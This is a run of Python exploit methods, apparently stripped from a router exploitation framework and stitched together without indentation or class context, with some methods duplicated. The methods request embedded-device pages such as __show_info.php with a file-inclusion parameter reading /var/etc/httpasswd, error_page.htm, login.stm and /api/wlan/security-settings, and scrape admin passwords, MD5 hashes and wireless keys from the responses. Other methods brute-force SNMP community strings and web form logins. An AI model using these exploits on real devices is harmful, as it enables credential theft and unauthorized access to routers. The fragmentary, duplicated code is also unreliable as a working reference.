c = [("admin", creds[0])]
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *c)
else:
print_error("Credentials could not be found")
def run(self):
url = sanitize_url("{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd".format(self.target, self.port))
response = http_request(method="GET", url=url)
if response is None:
return
creds = re.findall("<center>\t\t\t\n\t\t\t<table> <tr> <td>\n\t\t\t(.+?)\n\n\t\t\t</td>", response.text)
if len(creds):
c = creds[0].split(":")
creds = [(c[0], c[1])]
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *creds)
else:
print_error("Credentials could not be found")
def run(self):
url = "{}:{}/error_page.htm".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is None:
return
creds = re.findall("if\('1' == '0' \|\| '(.+?)' == 'admin'\)", response.text)
if len(creds):
c = [("admin", creds[0])]
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *c)
else:
print_error("Credentials could not be found")
def run(self):
url = "{}:{}/api/wlan/security-settings".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is None:
return False # target is not vulnerable
res = []
for option in self.opts:
regexp = "<{}>(.+?)</{}>".format(option, option)
value = re.findall(regexp, response.text)
if value:
res.append((option, value[0]))
if len(res):
print_success("Found sensitive information!")
print_table(("Option", "Value"), *res)
def run(self):
url = "{}:{}/login.stm".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is None:
return
val = re.findall('password\s?=\s?"(.+?)"', response.text) # in some fw there are no spaces
if len(val):
print_success("Exploit success")
data = [('admin', val[0])]
headers = ("Login", "MD5 Password")
print_table(headers, *data)
else:
print_error("Exploit failed. Device seems to be not vulnerable.")
def run(self):
url = "{}:{}/api/wlan/security-settings".format(self.target, self.port)
response = http_request(method="GET", url=url)
if response is None:
return False # target is not vulnerable
res = []
for option in self.opts:
regexp = "<{}>(.+?)</{}>".format(option, option)
value = re.findall(regexp, response.text)
if value:
res.append((option, value[0]))
if len(res):
print_success("Found sensitive information!")
print_table(("Option", "Value"), *res)
def run(self):
url = sanitize_url("{}:{}/login.stm".format(self.target, self.port))
response = http_request(method="GET", url=url)
if response is None:
return
val = re.findall('password = "******"', response.text)
if len(val):
print_success("Exploit success")
data = [('admin', val[0])]
headers = ("Login", "MD5 Password")
print_table(headers, *data)
else:
print_error("Exploit failed. Device seems to be not vulnerable.")
def attack(self):
# todo: check if service is up
if self.snmp.startswith('file://'):
snmp = open(self.snmp[7:], 'r')
else:
snmp = [self.snmp]
collection = LockedIterator(snmp)
self.run_threads(self.threads, self.target_function, collection)
if len(self.strings):
print_success("Credentials found!")
headers = ("Target", "Port", "Community Strings")
print_table(headers, *self.strings)
else:
print_error("Valid community strings not found")
def run(self):
self.credentials = []
url = sanitize_url("{}:{}{}".format(self.target, self.port, self.path))
try:
requests.get(url, verify=False)
except (requests.exceptions.MissingSchema,
requests.exceptions.InvalidSchema):
print_error("Invalid URL format: %s" % url)
return
except requests.exceptions.ConnectionError:
print_error("Connection error: %s" % url)
return
# authentication type
if self.form == 'auto':
self.data = self.detect_form()
if self.data is None:
print_error("Could not detect form")
return
else:
self.data = self.form
print_status("Using following data: ", self.data)
# invalid authentication
self.invalid_auth()
# running threads
if self.defaults.startswith('file://'):
defaults = open(self.defaults[7:], 'r')
else:
defaults = [self.defaults]
collection = LockedIterator(defaults)
self.run_threads(self.threads, self.target_function, collection)
if len(self.credentials):
print_success("Credentials found!")
headers = ("Login", "Password")
print_table(headers, *self.credentials)
else:
print_error("Credentials not found")